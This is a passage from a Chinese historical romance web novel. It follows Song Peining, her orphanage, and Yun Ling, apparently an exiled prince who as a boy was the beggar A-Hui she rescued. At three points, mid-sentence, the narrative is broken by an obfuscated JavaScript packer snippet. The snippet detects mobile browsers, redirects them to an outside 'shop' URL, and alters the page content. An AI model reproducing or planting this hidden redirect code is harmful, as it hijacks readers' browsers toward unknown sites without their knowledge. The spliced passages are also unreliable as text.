“可不吗。”老乞丐笑到,“与女公子您一样,想要接济我们这帮穷人,可要照旁人赚得多呢。” 告别老乞丐,宋沛宁与裴钱霍又四处走了走,今日赶上皇家祈福,车马不如平时利落,走了几处也无所获,只好作罢了。 经过这么一折腾,时辰也不早了。京城的城门快要落锁,去裁缝铺子接上小五和小七,一行人紧赶慢赶地家去。 宋沛宁在马车上还在琢磨徐公子的事,这徐公子行迹不明,连高矮胖瘦都形容得不一,颇有太子在乞丐口中的风范。 正想着,远处寺庙中传来深远的撞钟声,一声的尾音未停,下一声又紧接着传过了过来。钟声激起百鸟扇动着翅膀在空中盘旋,仿佛神旨借着雨声一圈一圈地荡出城外。 宋沛宁回过神来,掀开窗口的帘子,朝庄严的城外望了一眼。 裴钱霍见了,解释说:“这个时辰,大概是皇家的祈福仪式结束了。” 宋沛宁点了点头,眼前浮现出轿辇中清疏不可近的身影,宋沛宁一向对识人很有自信,那个身影很熟悉,是云翎端坐时惯常现出的那种姿态,过去……阿回也爱如此一板一眼地端坐着。 太子、云翎、阿回…… 他们三人究竟是什么关系,难道真的是同一人吗? 若真当如此,阿回为何不愿与她相认? 还有徐公子,今日满城地寻他,他刚巧不在,而太子正忙于为百姓祈福,这人可与云翎有关系吗? - 回到慈幼院时,晚饭已经做好了。宋沛宁还是吃临舟菜吃的最多,负责做临舟菜的厨娘子也还是上回黄大夫介绍来的那位。 厨娘子这时从后厨出来,端上一盅冬瓜炖排骨,冷不防地被若有所思的宋沛宁叫住:“我记得哦您是黄大夫介绍过来的,您可对黄大夫的徒儿云翎熟识一二?” 厨娘子一听这话,忙把手中的菜放在桌上,有些慌了神:“女公子怎么突然问起这个?我与云……云公子并不相熟,只听黄大夫提过几次名讳,倒是没什么能告诉女公子的。” 宋沛宁淡淡地“哦”了一声,佯装不在意满,饭桌上提起别的事,“我今天在城里看见太子游街了,身段瞅着眼熟,还听了好些太子秘事呢!” 厨娘子立在远处,规矩地宋沛宁接着问话,等了一会儿见宋沛宁说起别的了,便自顾自退去了。 翌日,云翎赶早来到学堂上课。 赶到时院子里的孩子正吵吵嚷嚷的,离近一看,宋沛宁正给院里的孩子发衣服。 宋沛宁看云翎来了,一如往常地招呼他过去。昨日在街市里四目相对,两人心里都明镜似的,这时候不说破,都下意识地想要悄悄揭过。 这点两人倒是想到一起去了。 宋沛宁从前是个心里压不住事的小姑娘,遇见别扭扭捏的心事,恨不得当机立断跟人拆解清楚了求一个安心。她若不提,许是昨日没看清,云翎心底松了一口气。 当下还不是向宋沛宁坦白真相的最好时机,朝廷局势混乱,方祁几日前参奏,说民间出了个善心善财的徐公子。按说方祁奸诈阴险、唯利是图得很,左不过好心去抬举一个民间做好事的公子,这其中怕是有诈。 若是为了敛财,另辟蹊径倒也还好说……就怕这一招是冲着宋沛宁来的。他在暗中还能防着点方祁的小动作,若这时与宋沛宁摊牌,唯恐将她去卷入不必要的风波。 云翎想着,忙碌之中用余光悄悄看向宋沛宁。 宋沛宁神情自若,手上给孩子们发衣服就没停过,一边指挥着后来的孩子排队,一边还要给玩着玩着就闹起来的孩子断理。 云翎暗自思咐,若是过去的宋沛宁肯定应付不来,阿宁长大了不少。 下学时临近傍晚,下学后的孩子们意犹未尽,缠着要先生、讲个故事再走。 宋沛宁在这时捧着一盆水果,笑盈盈地走过来,“都来吃点解解暑,先生讲了一天,定是累坏了,你们消停些,别累到先生了。” 宋沛宁把果盆放下,给孩子们吃,从中拣了个最大最红的果子,递给了云翎。 “那便我给来讲一个吧。”宋沛宁说。 宋沛宁不如云翎有才学,讲的故事跳跃得很,赘长又无趣。孩子起初还兴致勃勃,后面听得倦了,发起呆来,溜了号,反倒讲的人越发精神。 宋沛宁讲:“在一个瓢泼大雨的雨天,有一个被抛弃的小少女和一个被追杀的小少年,在一所破庙相遇了。” 两个人都还小,谁都照顾不了谁,小姑娘却逞强,拍拍胸脯对着那个小少年说:你同我一处,你便有家了。 可是她的家在哪里呢,大雨连续下了一整天,阴雨的天空像是漏了个洞,怎么填都填不上。 少年饥肠辘辘,有些心急地问她:“你家在哪?怎么没人来寻你?” 他问话,抛出去了却没有听到回音。他伸出满是尘泥的小手拍了拍她,觉得不对,再摸向她的额头,热得发烫。 为了救她,小少年背着她下了山 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12889408|136116||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 他一边背着她,一边喃喃自语,不管她听没听见:“我之前躲进破庙,原是有人追杀我,我现在出了破庙,是为了救你。如果你被我连累死了,别怪我没提醒你,你在庙里会病死,出来也有可能会被死,总归要死,不如出来看看天儿吧。” 小姑娘在少年的背上浮浮沉沉,朦胧之中睁过几次眼睛。好像经历了一场梦,梦里全是长得和他们人一样高的野草,风一吹,那些连天的野草就随着风飘动,就像是在幽暗之中紧追不舍,想把他们生吞活剥了的吃人妖怪。少年背着她在叶草丛里穿梭藏匿,尽可能的不叫人发现他们。 她记得她醒时,这少年冷漠,懒得与她多言。作何出了破庙,她没力气回答了,他的话又变得那样多。 “……不过还是希望你别死。”少年声音颤抖,背着她,两个人好像一起都走不到明天了,“你说要给我个家,你不是个骗子,对吧?” ………… 这故事听得揪心,前排几个小女娃娃怔愣着,觉得鼻子酸酸的。 “然后呢?”有天真的娃娃用稚嫩的声音追问。 “那他们最后走出大山了吗?” “他们都得救了吗?” 宋沛宁点点头,从悠远的回忆中回过神,答道:“得救了,但是等他们长大后发现,那日的野草并不高,山路也并不远,往后要穿过的荆棘,远比那日要多得多。” 孩子们听完不懂了,歪了歪脑袋:“女公子,这话是什么意思?” 宋沛宁转而笑笑,换了一种轻松的语气说:“什么意思等你们长大就都懂了,所以,都好好长大吧。” - 宋沛宁昨晚夜不能寐想了一晚,三个名字在心头绕啊绕,绕得晕了,稀里糊涂地就睡着了,稀里糊涂地做了场梦。 她梦见雨天破庙里,那三个名字的人,分别要各走各的路。 她想亲近谁,与谁同路,谁都不搭理她。 原就是萍水相逢,彼此遇见了也只为短暂地走上一小段路,之后再各自奔波,各散人海。 可她还没拎清,没寻见,哪个是她的阿回,她的阿回在哪里。 她刚打定主意,管他阿回还是阿去,云翎还是泥翎,姓徐的还是姓余的,她就要单枪匹马走自己的路了。拧过身子去,心里还是有点说不上来的伤心,正失落着,眼前走近一截翩翩衣袍,那衣角的主人款款,温和地说:“你别哭,我最恼女人哭了。” 她一把拽住那人衣角,刚想不服地反驳“谁哭了?”,就见衣袍的主人棱角分明,清浅淡然的脸,分明是长大后的阿回。 而长大后的阿回,就是如今的云翎。 宋沛宁的故事讲完了,孩子们四散,全跑去院里成帮结伙地玩去了。她的眼睛始终望向嬉笑的孩童,未看向云翎一眼。 “你记不记得你上回与我争执时,置气一般地同我说了什么?”宋沛宁突然说起。 云翎一顿,随后微笑地说:“那时是气话,气话作不得数,女公子不要放在心上。” “你那时候说,你是谁,要我亲口告诉你。”宋沛宁回过头,认真地看向云翎,眼神锐利坚定,直扎在人心尖上似的,“我一直记着,但你能不能告诉我,这是什么意思?” 22. 散财 云翎也不知道当时怎么就说了那样一句没头没脑的气话。 隐约记得是在他幼时,人在深宫里长大,身边的老太监喊他回去,从来只会抿着袖子,点头哈腰提上一句:“殿下,咱回宫吧?” 彼时先帝退位,泰和帝才刚刚登基没几年,朝中局势很不稳定,老臣勾结着各亲王,心里全都憋着坏。 不过那个时候,对于朝廷上的明争暗斗,一个小小的孩子哪里能懂。 等云翎长到七、八岁,就到了一个小皇子最活泼爱动的时候。整座深深的宫墙,全都成了他的游乐的地方,他哪里都去过了,甚至去得腻了,只是觉得父皇身边自己甚少停留,毕竟一个孩子在幼时总是会对父母产生许多遐想。 皇帝平日里政务繁忙,很少能顾及到他,云翎便常常趁着众大臣上早朝的时候,偷偷溜进殿上,躲在黄色腾云龙纹样的卷帘后面偷看。 看了一眼皇帝,小云翎的心里便满足,下了朝同随身太监,蹦蹦跳跳地回去,一路上喜笑颜开。 小云翎有时会讲些朝廷政务上的事,每到这时那老太监都恨不得合上自己的耳,惊恐地说道:“殿下可莫要折煞小的,万不能再说了。” 云翎那时顽皮,喜欢看太监慌忙不知所措的样子,于是笑起来。清晨和煦的阳光照在他的脸上,从来不曾有过阴影似的亮堂。 陪小皇子闹够了,老太监整了整仪容,悠哉地对云翎说:“殿下,看也看够了,咱们回宫吧。” …… 直到遇到宋沛宁之前,云翎始终觉得,这“回”字只是意味着回到一个宽敞明亮又干净,可以睡觉的地方,他觉得,他还从没回过家。 好景不长,云翎安稳的皇子之位,人上人的位置很快就做到了头。 八年前突如起来的一场宫变,贪玩爱闹的小皇子一夜长大,大火在他往日行走过的每一处宫墙里烧了一天一夜。而他每一次用害怕的眼神去遥望父皇参政的殿堂,只能清晰地看见跳动的火舌,腾着焦柴火油的味道,似是想要无情地吞噬掉他。他弱小到,天灾灭顶只会徒手承接着,哪怕快死了,连逃都不会逃。 不知过了多久,常常同他嬉笑打闹的老太监一身鲜亮,在残破废墟之中找到了他。 老太监居高临下,站在他脚前,斜睨着瞧了他一眼,随后移开视线,抻着语调,嗓音脆亮。 好似他们从前一起玩过的翠玉珠子,一把捧在手心儿,再一下全抛进瓷碗里。翠玉打在白瓷上,声音别提有多清脆响亮。 “靖亲王说了,到手的肥鸭子吃着没味儿,我让放了你先跑。你且快跑吧,跑得越远越好,到时候难抓才有趣呢,莫要拂了亲王的兴。” 云翎听不懂,仰着脖子追问起旁的事:“我父皇呢?皇上在哪?” “皇上?”太监像是听到了什么好笑的事情,捂着嘴巴假惺惺地笑一了笑,“明儿个还不知皇上是谁呢,你这会儿问皇上,你问的是哪个皇上?”顿了顿,收起笑容,冷冰冰地继续对他说,“大火烧了一整天,你那个父皇自身难保,从未过问过你一句,我看你还是快跑吧,顾好你自己,能多苟活过几天都算赚到的。” 云翎不说话了,过了半晌,像是下好了决心。他提起袖子抹干净面颊蹭上的烟灰,站起身,迈开步子朝后宫门脚步凌乱地疾疾跑走。 他不敢回头,好像身后的宫墙仍然火光冲天,熊熊的大火似乎从未停过,若他松懈慢下来,只消眨眼的功夫就要被卷进去,烧成灰烬一般。 云翎毕竟是皇子,遗传了皇家一脉相承的聪慧。出了城门,他没有走大路,另辟蹊径钻进了宫门后头的小山包。 为了避人耳目,他只走山路,昼伏夜出,睡在树上,用树木遮盖自己的行踪,饿了就捡点果子吃。他没有目标,漫无目的地逃,哪里有葱郁大树,他就去哪里。从未没进过城镇,不知道靖亲王叛党失败,泰和帝反败为胜,这天下早就又太平了。 无聊时,他摸着腰间刻着他名字的玉佩,只要摸着就能觉得安心。直到有一日,他做噩梦惊醒,恍然觉悟这块玉佩是个隐患,他不能带着这块玉佩走了,会暴露他的行踪。于是他拿着玉佩,见到石头,就用石头在自己的名字上磨,遇到老树根,也拿着在上面蹭蹭。 他走了一路,磨了一路,上好的羊脂白玉布满划痕,仔细一辨,那划痕里还隐约掺着干涸的血迹。 云翎不知道走了多久,山间躲藏的日子令他乏味,如此活着,他的眼里跳不出一丝的希望。于是云翎走不动了,本想躲在破庙里寻个清静,然后就打算一直睡在那里。 哪知上天不容他躲清净,派了一个能说会道的小姑娘。 小姑娘靠近,笑眯眯地和他说话,他张张嘴巴没发出声音,不是不想理她,是好久没说话,有点不会说话了。 小姑娘自来然熟,见到他,热络得不得了:“我带你回家呀,你不用再害怕了。我家里有许多人,许许多多间屋子。” 云翎瞧她神情飞扬,望梅止渴般舔了舔干裂的嘴唇,暂且相信了她的鬼话。 只是天公不作美,淅淅沥沥的雨,下呀下呀,一直不停地下。 说到后面,这姑娘说不动了,也安静了。 云翎心里着急,摇了摇她,“哎呀,你别睡呀,你不带我回家啦?” 小姑娘烧得糊涂,迷迷糊糊地说:“对不住啊,骗了你,其实我也没有家了。” 云翎听不懂了,不是刚刚还说一定要带他回家的吗? 他背起她,瘦弱的身子走不快,只能一步一步地下山去。 背上的火球一样的小人儿,腾着热气,颠三倒四地说梦话。 她说:“我好不容易回到家,却发现我的家不再是我的家了。如果我的家不再容得下我了,索性,我就再去创造新的家。所有没有家的流童,都住进来。我要找那种斜倚着青山的,脚边蹚着溪水,抬头可以看见彩虹的大宅子。” 云翎怕她睡着了就醒不过来了,顺着她的梦话问她:“还有呢?” “宅子里,还有好多好多阿娘,好多好多阿爹,好多好多的祖母……” 云翎被这话逗笑了,笑着声问:“你要这么多阿娘、阿爹、祖母,做什么?” “我想他们。”说着说着,声音就哽咽了下来,“想他们对我好的时候,可想可想了。我一直记着他们对我的好,流落在外就靠着回忆咬牙坚持,我以为等我翻山越岭地再回家,他们还会一直对我好。可是……可是我好不容易回家了,他们为什么都不喜欢我了?” 云翎沉默,背上的小姑娘也沉默了下来。 云翎把她带到山下的医馆里,医馆郎中看这两个孩子一个比一个潦倒,多半是付不起药钱。随即摆摆手,就要轰他们二人出去,云翎咬了咬牙,从怀里掏出一块破损的玉佩。 “我这玉石坠子送您,求您高抬贵手,救她一条小命。” 郎中原本不屑,低头瞥了一眼,却见这玉在阴雨天光里,仍然透着润泽,冰晶似的饱满光亮。 果真是一块好玉。 于是郎中用杂草在马厩里给两人铺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12889409|136116||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了个简陋的铺子,就这么让二人住下。 又是一个难以安睡的夜晚,马厩里四下漏着风,云翎给宋沛宁腾了一个避风的角落,宋沛宁还是冷得缩成一团。他只好靠近她,挨着她坐,用身体替她多挡一挡寒风。 月光下,云翎守在宋沛宁身边,悄声对她说:“你快醒过来,我还从来没有家呢。” 宋沛宁没应,她紧闭着双眼,睡得不踏实,好像反复陷在同一场噩梦里,喃喃说着没人听得懂的梦话。 - 第二日清晨,宋家寻人的车马来到医馆大院外。 四匹马拉的大轿上,缓缓走出一位不怒自威、平阔气派的中年男子,这便是宋家家主,富可敌国的宋员外。 穷郎中本不知贵人登门所为何事,正弯腰拜见之时,宋员外却像没看见一般,径直走进院里,扫了一圈凌乱无序的院落,目光最终落在破旧的马厩上。 宋员外愁眉紧锁,当即眉间生出怒意,走过去,果然在马厩里翻到一个脏兮兮的小姑娘。 “阿宁!你这是作甚!”宋员外压着火气,心肠软了,再舍不得深说,“我不是去信说了,叫你有何委屈先按着,都等阿爹回来再说?” 听到阿爹的声音,宋沛宁勉强睁开眼睛。宋家的下人立马围了过来,正准备将小姐抱到车上去,宋员外却摆了摆手,亲自走过去将闺女抱了起来。 云翎在马厩一旁看着,一群人匆匆忙忙,围着一个小姑娘团团转,忙到没人分一丝神去多看他一眼。 这姑娘马上就要走了,云翎悄悄看了看她。 宋沛宁临到轿边,突然像是想起了什么,抬了抬手,苍白倔强的小脸,跟她阿爹指了指云翎。 宋老爷会意,回头瞥了一眼立在一旁安静又清瘦的小少年。 下令道:“把他带上。” 那群匆匆忙忙的人方才停下来,带上他,像揣上一个破麻口袋扎的破包袱,宋家的车马一行远去了。 ………… 不怪云翎答不上来,宋沛宁那句话问得确实让人有点下不来台。 借着慈幼院里孩童们天真无邪的嬉笑声,宋沛宁像是回忆起什么,来了兴趣,凑近了朝他眨眨眼。 “算了不说这个,那我换个问题。”宋沛宁狡黠地笑了笑,“你第一次见到我的时候,你觉得我是个什么样的人?” 刚把他摆了一道,此时又来挑逗他。 今日的云翎,也不再去昨日好骗的阿回。 云翎别过眼神,学着方才宋沛宁稍加思索的模样,想了想,回答道:“……觉得你,特别爱管闲事。” ……爱管闲事? “尤其还是爱管那种,超出自己能力范围的事。” 云翎慢悠悠地说完,就见宋沛宁和煦春风的笑容登时戛然而止。 没等着宋沛宁说出一句反驳的话,云翎连忙朝宋沛宁拱了拱手请辞。转过身,才走过一个转角,身后传来宋沛宁吃瘪的声音。 “云公子留步!云公子这话何意,宋某一时不解了,还望云公子解释清楚!宋某这慈幼院开得好好的,哪里便是超出能力范围的多管闲事了!云公子此话未免太过伤人,为防你我二人日后异心,最好还是解释清楚!云公子留步!云公子怎么不留步!!” 宋沛宁气得小脸通红,怎么追硬是没能追上云翎。 站在门口散着火气的功夫,心里暗暗琢磨,难不成她看错了,云翎根本不是阿回? 她的阿回犹如当空皎月,明亮无瑕,可没有他这么嘴下不饶人。 23. 卿卿 宋沛宁被牙子抱走时六岁,等到千里迢迢地找回家这年,也才八岁。 宋家家主心疼长女在外颠沛流离,因此对这段时光格外忌讳。举家上下,大到姨娘掌事,小到下人车夫,统一都换了口径。若非到了万不得已一定要提时,只能说“小姐在外游历那几年”,绝不能提起别个不懂规矩的字眼来。 于是,这位在外游历回来的宋家大小姐,自打回家就没消停过,许是在外野惯了,酷爱离家出走。 家主平日多数奔忙,回家时间极少,近年来生意做得愈发大了,出使外地经商,也是常有的事。阿爹不在宅里,家里就剩下宋沛宁和她那个花枝招展的姨娘,以及姨娘所出的那个便宜弟弟。 茹姨娘倒是在宋沛宁失踪前早就过门的了,只不过老爷喜爱宋沛宁喜爱得紧,一门心思只要宋沛宁一个乖娃娃,茹姨娘一直无所出。宋沛宁的弟弟宋玉襄便是在宋沛宁失踪后才出生的,今岁满打满算也不满两周岁。 宋沛宁回到宋府上,与这两位大眼瞪小眼,日子安生不了。 但见两个活祖宗见天儿地矫情,不是天冷了热了,就是头疼了心闷了,天啊地啊娘啊爹啊的,宋沛宁如坐针毡,所以离家出走这事说到底也不能全怪她。 这厢,宋沛宁被她亲爹逮回来,云翎也随宋沛宁一起进了宋府。 起初考虑到宋沛宁一个姑娘家家,把一个小少年派到她院内终究不妥,所以随便指了一个后厨帮工的活计给他干。 从宫里出来的大皇子,十指不沾阳春水,别说在厨房刷刷盘子扫扫地,这扫帚抹布都从来见过。后院的人嬉笑他,说他不是公子命却一身的公子病。 面对奚落,云翎表现十分缄默,从不言语。好像对于他来说,没什么十分重要的,也没有什么十分不重要的,似是决意要与从前养尊处优的日子决裂。 好在云翎人还算聪明,学东西很快,看人也准。跟后厨负责送药的小厮混熟后,就揽下了送药的活。距离云翎进府,拢共也不出两天。 当时宋沛宁还在病中,烧得糊里糊涂,云翎偷偷去看过她,她也不知道。 后厨来的小厮,送药不能送到近前,云翎每次过来,都要在高出一截的朱红色门槛前停下等。借着丫鬟从屋里翩翩走过来的功夫,透过雕花的梨花木屏风朝里面偷偷望两眼。 运气好的时候,能隐约望见宋沛宁在里屋熟睡的红扑扑的脸,只有横截的一小块,有时候是脸颊,有时候是眉眼,有时候是耳朵。 运气不好的时候,就什么也看不见。眼睛看不见,心却看见了。 看见宋沛宁一天比一天见好,偶尔能听见宋沛宁在屋里笑,说话声和笑声都跟银铃一般好听。 说穿了,如果那天他没有遇到宋沛宁,这会儿指不定就变作一具被雨水浸湿后发臭的尸体。云翎觉得,从前他不懂,觉得拥有的东西都是理所当然,苦难和苦痛都浮在一层不痛不痒的地方,不伤筋不动骨,轻轻巧巧地就能长大。 现在他懂了,不是所有人都能像他一样顺风顺水地长大。 不对,这句话说的也不对。 他也没有顺风顺水地长大。 位高权重的大皇子云翎早在他无力抵抗,仓皇逃出宫门的那一日就死了,现在他是被宋沛宁救回来的流童阿回,宋沛宁是他的恩公。 他希望宋沛宁一切都好,开开心心的,莫要再病下去了。 云翎手拿送药的托管,颔首拐进宋府后院深深的长廊,抬脚跨过红色门槛,后厨就到了。 午后时分,每天有一会儿得闲的空子,后厨的下人都靠着院墙在树荫下乘凉。 见到云翎端着盘子回来,抻着脖子朝他看了一眼,突然笑着问道。 “哎,阿回。你的脸怎么红了?” - 不用云翎太过忧心,宋沛宁大灾大难都没死,这点小病好得很快。 宋家家主,就是宋沛宁她亲爹,四处给她寻来无数珍稀药材,为了治她这个伤风感冒。万金良药连着几天下了肚,多不好的病人也能站起来跑了。 病好了,人也跟着精神了,就是有点精神得过头了。 宋沛宁跟丫鬟小厮们打听了一圈:我那个小乞丐呢?那天带回来的小乞丐呢?哪去了? 最后还是裴掌事告诉的她:“小女公子,您说的是那个叫阿回的小少年吧?被我打发去后厨啦,您找到他有事?” 对对,就是他,宋沛宁跟裴掌事一个劲儿地点头。 慈幼院从那个时候就在宋沛宁脑子里有了个基本的雏形,具体怎么做还没想好,但总不能让捡回来的小乞丐变成府里的下人,那还成什么样子了,她又不是去外头抓壮丁。 于是乐呵呵地说道:“有事有事,裴掌事,您行个方便?” 宋沛宁从小跟裴不廖的儿子一起长大,裴不廖看她就和看自家女儿一样可爱,轻易地就让宋沛宁的机灵样给逗笑了,和善地笑道:“你院里人丁充足,无需加派人手,而且看他样子太瘦,想也不是干活的好材料。你若想添置些人在院中,老夫去给你选一些好的伺候小女公子。” 宋沛宁急忙摆摆手,打断道:“不是的,他是我朋友,您告诉我他去哪了就行。” 朋友? 千金体贵的宋府大小姐和一个小乞丐交的是哪门子朋友。 裴不廖听得一头雾水,不过还是好心地为宋沛宁指了个方向:“我给他安排到后厨帮忙去了。” 宋沛宁“哎”了一声,顺着裴不廖手指的方向找了过去。裴不廖冷不防也没弄明白,这又是唱的哪一出,但碍于手头事务繁多,只好先径直继续忙去了。 直到黄昏快擦黑的时候,老爷和姨娘正在院里吃饭。宋沛宁带着她刚从灶台底下拽出来的云翎,后面跟着诚惶诚恐的后厨掌事。 宋沛宁顶烦这些讲规章制度的老顽固,尤其这个还是她那个姨娘带过来的什么老家的三舅。也不知她离家这几年,姨娘母凭子贵,给他们长了什么底气,自打她回来,这帮关系户成天和她唱反调,动辄端出来家主长家主短地扣她帽子。 宋沛宁可不吃这一套, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12928509|136116||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 先前碍着阿爹在外不在家,今天可不同,论不出个是非,也得来个下马威,否则这家都没容她的地方。 宋沛宁气势汹汹地从外屋跨进来站定,宋老爷闻声放下碗筷抬头,便看见自家闺女脸蛋子上擦着一大块锅底灰。 宋家主微微皱了皱眉,没等大堂上的主子发话,后厨掌事,就是茹姨娘的亲三舅,跟茹姨娘快速递了个眼神,当即跪下抢话说道:“老爷,都怪小的不好,女公子风风火火地来后厨要人,但小的也没接到裴掌事调派人的通知,不敢随便放人,便惹恼了女公子……” 宋沛宁回头怒道:“你少恶人先告状,不提我要带阿回走,你挡在我面前推三阻四。想我把阿回放你这才几日,你怎么对待的我带回来的人?脏活累活只会挑一个好捏的干,我过去时,阿回正趴在灶台底下耙里面的烟灰,旁人就管干看着嗑瓜子,金贵得手都不伸一下,你也当我看错了不成?” 后厨掌事“哎哟”了一句,哭丧着脸,好似被宋沛宁为难了,急得团团转。 宋老爷子见状,眼皮一耷拉,制止道:“好了,一个下人的事,至于自家的人大动干戈?”接着顿了顿,朝后厨递了个眼色,“她要人,你给她就是,何苦闹得不愉快。” 后厨掌事点头哈腰,又朝家主请罪再三,宋老爷子也不愿同他多浪费时间,挥挥手便让他下去了。 后厨掌事走了,茹姨娘看着老爷子脸色,立马热络地招呼宋沛宁来坐下。 “阿宁,来来来,多大的事,哪用得着动这么大肝火。消消气,姨娘给你夹点好吃的。” 宋沛宁没动,直愣愣地看着她爹,心里还憋屈得很。 老爷子才平顺的一口气,又叫这小姑娘提溜起来:“姨娘跟你说话呢,过来吃饭。” “我不。”宋沛宁犯起倔来,“您就这么断家务事,不清不白的,这次虽说受委屈的不是我,但日后我若受了委屈,您还这么里外里当个和事佬就算了吗?” “阿宁,你这是什么话?一码归一码的。”宋老爷子面显愠色,“之前把这孩子派到后厨是我的意思,毕竟你一个姑娘,院里有个小男子终究不好。但你既然开口朝后厨要了,给你就是了,还闹什么脾气?爹又没说你。你瞧瞧你,姑娘家的脸上的灶灰都不知道擦,你爬进灶台里头跟人吵架,慢慢长大了,多少要学一点姑娘家的矜持,回头我找个嬷嬷来教你吧。” 提起规矩常理,父女两的矛盾瞬间又深了一层。 “阿爹。”宋沛宁突然眼睛红了一下,看着宋老爷,静静地问了一句,“别人家的女公子,规矩都是谁来教?” 别人家的小女公子初长成,家里的阿娘都会亲自来教。教她们如何,做一个端庄文秀的闺秀,娘俩一起午后闲时坐在亭子里,畅想日后我们小女公子长大了,要嫁个怎样的如意郎君啊——嫁妆鸳鸯手绢针脚要密,这代表女公子对郎君绵绵情意。 “你说起这些作甚?” 宋老爷子听完已是怒极。 饭吃到一半,拍了一下桌子,起身拂袖而去。 24. 卿卿 宋沛宁在老爷的院子里闹了一通出来,外面的天已经完全黑了。 方才和她爹对峙得不依不饶,这会儿没人睬她,又觉出委屈,眼里泛起些许泪花。 云翎始终跟在她身后,也不主动说话,像入夜后一道安静的影子。宋沛宁走,他就走,宋沛宁停,他就停。两个小人在宋府幽深的庭院里穿行,冗长的走廊对于两个小孩子,好像一直走都走不到尽头。 宋沛宁起初气冲冲地快走,见弯就转,见路就过,走着走着,也不知道要跟谁之置气,她这么生气,也没人看见。晚风一吹,吹回了几分神志,脚步也跟着慢了。 脚步慢下来,才注意到身后的小尾巴。 她回过头,月光下,少女脸上的泪痕,像是蒙着一层暧昧的夜色,仿佛皎皎的银河。 “你哭了?” 沉默了一路,惜字如金的小少年终于开了口。 “才没有。”宋沛宁转回脸否认,她嘴上说没有,眼里晶莹却做不了假。 云翎安静,没有继续坚持,点了点头,“我知道,下次不要为我冲在人前,我来保护你。” 几日未见,其实云翎心里还是有许多话想问宋沛宁,奈何重逢后彼此都不大体面,一波未平另一波又起,这时再若无其事的寒暄反倒奇怪。 宋沛宁看云翎,一副瘦弱单薄的模式,年纪小小的,个子还没长起来。 她刚想问“你要怎么保护我?”,肚子饥饿的叫声先她一步“咕噜”了出来。 云翎听闻,月光下淡淡笑着,拉过宋沛宁的手腕:“我带你去后厨找找。” 云翎这几日在后厨,后厨里的大小事务被他摸得差不多。 通常老爷用过晚膳,洗刷完,备好明天的菜,后厨的人也都走得差不多。 云翎先问宋沛宁喜欢吃肉还是喜欢吃菜,宋沛宁这会儿饿了,就说喜欢吃肉。云翎又问那想吃饭还想吃面,宋沛宁说想吃饭。 云翎问完,心里大概有了谱,带她溜进后厨,就地取材,一个小女娃娃的饭实在好做。 开火前,云翎怕宋沛宁无聊,从冰窖里拿了碗冰盏,装上切好的水果,让她抱着边等边吃。 宋沛宁心情好些了,抱着冰盏在云翎后面等,看着个子瘦小的云翎和面前一口漆黑的大锅,形成奇妙的反差。 宋沛宁突然问起,“阿回,你从前在家也都是自己做饭吃吗?” 冷不防被提起过去,云翎手上的动作些微一滞,马上又恢复正常。 他淡淡回答:“我从前在家没做过饭,还是这几天呆在后厨现学的。” “真的吗?”宋沛宁闻了闻空气中炸锅后的油香,“你要不说,我肯定觉得你早就会做饭。”顿了顿,宋沛宁对此时唯一能和他搭话的人产生浓厚的兴趣,继续问,“那你记得你家在哪里吗,如果你记得,我可以派人送你回家。” “不用了。”云翎低下头,语气还是淡淡,“我在宋府很好,如果女公子不嫌弃,就让我一直留在这里了。” 宋沛宁诧异地愣了一下,她还以为,全天下所有回不去家的孩子,都会迫切地想要回家。 也许阿回有他自己的难言之隐,就像她之前,那么渴望回到家,却发现家里早就变得天翻地覆。 早知如此,宁可抱着阖家团聚的美梦入睡,也希望她的念想永远不要破碎。 怔神的功夫,云翎的饭菜已经出锅了。宋沛宁抬起头,云翎把热气腾腾的饭推到她面前,好像刚才的对话从没发生过,就那么径直地被他抛在脑后了。 “不知道饭菜合不合女公子的胃口。”云翎说。 宋沛宁没那么矫情,在外这些年,早就没了大小姐娇生惯养的脾气。作势坐在灶台前,拿起了筷子,吃了起来。 “你以后叫我阿宁就行了。”宋沛宁边吃边开口,想了想又补了一句,“……但是别当着外人面前叫,不然他们就规矩长规矩短的唠叨,像现在这样的时候,可以叫。” 云翎点了点头,想起方才宋沛宁和家主的争执,本想安慰她几句,但怎么说也是人家的家事,他一个外人又不好开口。 正犹豫着,也不知是不是宋沛宁用后脑勺看出的他的犹豫,对他说道:“你别多想,反正事实也不是你想的那样。我娘还活着,就是不生活在宋府而已。” 宋府的大夫人不生活在宋府,那生活在哪里? 云翎的眸子不解地动了动。 宋沛宁也郁闷,自从回家,连个说知心话的人都没有,她看云翎如此沉默寡言,是个适合说知心话的对象。 她不仅觉得云翎适合说知心话,日后她作天作地兴风作浪,云翎怎么看都是个不错的帮手。 